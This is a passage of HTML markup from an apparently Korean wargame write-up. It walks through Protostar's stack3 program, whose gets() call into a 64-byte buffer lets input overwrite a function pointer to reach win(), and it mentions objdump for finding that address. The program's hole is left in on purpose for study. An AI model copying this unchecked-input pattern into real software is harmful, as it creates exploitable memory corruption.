style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;objdump&lt;/span&gt; 모두 win() 함수가 어떤 메모리 위치에 있는지 결정하는데 도움을 주는 친구가 될거다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack3.c의 소스를 보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unistd.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;win()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;code&amp;nbsp;flow&amp;nbsp;successfully&amp;nbsp;changed\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;volatile&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fp)();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;fp&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;gets(buffer);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(fp)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;calling&amp;nbsp;function&amp;nbsp;pointer,&amp;nbsp;jumping&amp;nbsp;to&amp;nbsp;0x%08x\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;fp);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fp();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;volatile keyword를 사용하여 int type &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;function pointer *fp&lt;/span&gt;를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;char type 64 byte array buffer를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;volatile&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fp)();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;function pointer fp(함수의 주소)에 0을 대입한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gets() 함수를 통해 user로부터 buffer에 문자열을 입력받는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;fp&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;gets(buffer);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 fp의 값(함수의 주소 값)이 0이 아니면 &quot;calling function pointer, jumping to fp&quot;를 출력하고 fp() 함수를 실행한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 fp가 0이면 아무것도 실행하지 않는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 